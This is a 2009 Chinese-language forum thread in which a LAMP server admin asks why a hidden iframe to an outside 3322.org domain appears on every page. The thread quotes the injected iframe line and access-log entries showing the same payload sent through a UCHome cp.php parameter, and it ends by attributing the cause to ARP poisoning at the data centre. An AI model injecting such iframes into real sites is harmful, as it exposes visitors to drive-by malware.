求助：被挂马，UCH有被攻击的迹象

昨天服务器上所有的网站突然被挂上一段代码

1. <iframe src=http://se362c.3322.org/jj/7.htm width=111 height=0 border=0></iframe>      

复制代码

首先排除了是本地网络的问题，在其他地方也出现相同的情况，而本地访问其他网站没有问题。
所有在服务器上的文件都会出现那一行代码，包括404页面
而直接在服务器上下载下来的文件上没有出现那一行代码
如果把一个空的文件上传到服务器上，通过网络访问该文件，都会加上那一行代码

查找日志时发现，日志1G多，日志中有两行是与该代码有关

1. 
   
2. logs/access_log:218.28.249.222 - - [23/Sep/2009:17:01:58 +0800] "GET /cp.php?ac=relatekw&subjectenc=\xc8\xc3\xd0\xc4\xc1\xe9\xb4\xf8\xd7\xc5\xce\xd2
   
3. 
   
4. \xc3\xc7\xd7\xdf\xcf\xf2\xc0\xed\xcf\xeb\xb5\xc4\xc9\xfa\xbb\xee\xc8\xc3\xd0\xc4\xc1\xe9\xb4\xf8\xd7\xc5\xce\xd2\xc3\xc7\xd7\xdf\xcf\xf2\xc0\xed\xcf\xeb\xb5
   
5. 
   
6. \xc4\xc9\xfa\xbb\xee&messageenc=<IFRAME%20border=0%20src="http://se362c.3322.org/jj/7.htm"%20width=111%20height=0></IFRAME><STYLE>body%20{%20font-
   
7. 
   
8. size:14px;%20line-height:1.8em;%20padding-right:%204px;%20padding-left:%208px;%20padding-bottom:%208px;%20margin:%200px;%20padding-top:%208px;%20}
   
9. 
   
10. </STYLE><META%20content="mshtml%206.00.2900.3132"%20name=generator>&inajax=1 HTTP/1.1" 200 76
    
11. 
    
12. 
    
13. 
    
14. 
    
15. logs/access_log:218.28.249.222 - - [23/Sep/2009:17:02:01 +0800] "GET /cp.php?ac=relatekw&subjectenc=\xc8\xc3\xd0\xc4\xc1\xe9\xb4\xf8\xd7\xc5\xce\xd2
    
16. 
    
17. \xc3\xc7\xd7\xdf\xcf\xf2\xc0\xed\xcf\xeb\xb5\xc4\xc9\xfa\xbb\xee&messageenc=<IFRAME%20border=0%20src="http://se362c.3322.org/jj/7.htm"%20width=111%
    
18. 
    
19. 20height=0></IFRAME><STYLE>body%20{%20font-size:14px;%20line-height:1.8em;%20padding-right:%204px;%20padding-left:%208px;%20padding-bottom:%208px;%
    
20. 
    
21. 20margin:%200px;%20padding-top:%208px;%20}</STYLE><META%20content="mshtml%206.00.2900.3132"%20name=generator>&inajax=1 HTTP/1.1" 200 76

复制代码

不知是否与UCH有关，请达人帮忙，感谢。

服务器环境是Lamp

基本上判断是你的服务器被挂马了
这种挂马一般并没有真正的修改你的文件，而是在你的页面执行完毕后由APACHE在每个页面增加一段代码！所以你看文件是看不出来的，只有在IE中查看源代码才能看到，
用免费空间的都知道，免费空间会自动在你的网站页面底部增加代码的道理是一样的

基本上判断是你的服务器被挂马了
这种挂马一般并没有真正的修改你的文件，而是在你的页面执行完毕后由APAC ...
scckfzx 发表于 2009-9-24 09:43 AM

    您好，不知道如何能解决呢？

我和楼主一样。。可怜啊

我和楼主一样。。可怜啊
huaxuanso 发表于 2009-9-24 09:56 AM

    是否找到解决办法？

已经解决，是机房路由中了ARP，感谢楼上朋友的顶帖